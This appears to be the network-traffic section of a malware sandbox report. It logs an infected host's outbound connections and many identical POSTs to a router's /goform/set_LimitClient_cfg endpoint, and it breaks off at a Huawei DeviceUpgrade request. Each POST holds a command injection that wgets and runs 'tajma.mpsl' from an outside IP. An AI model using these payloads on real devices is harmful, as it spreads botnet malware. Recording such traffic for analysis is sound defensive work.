Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 14.58.207.5:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 185.220.87.194:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 68.129.82.79:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 27.146.214.26:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 20.238.226.188:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 37.40.193.21:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 88.120.11.29:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 124.98.170.131:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 194.185.138.255:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 162.106.224.201:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 126.169.27.230:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 101.31.16.20:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 112.71.237.230:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 211.167.162.109:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 194.8.29.56:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 163.158.248.25:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 184.136.122.119:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 203.240.123.135:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 109.174.78.248:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 31.76.26.48:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 52.146.196.46:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 199.33.104.79:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 23.206.106.152:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 58.182.103.223:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 57.188.39.199:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 126.192.23.223:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 60.231.228.6:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 156.40.237.223:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 128.253.30.28:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 44.32.142.214:8080
Source: global traffic	TCP traffic: 192.168.2.15:42072 -> 190.222.71.9:8080

Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 492Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 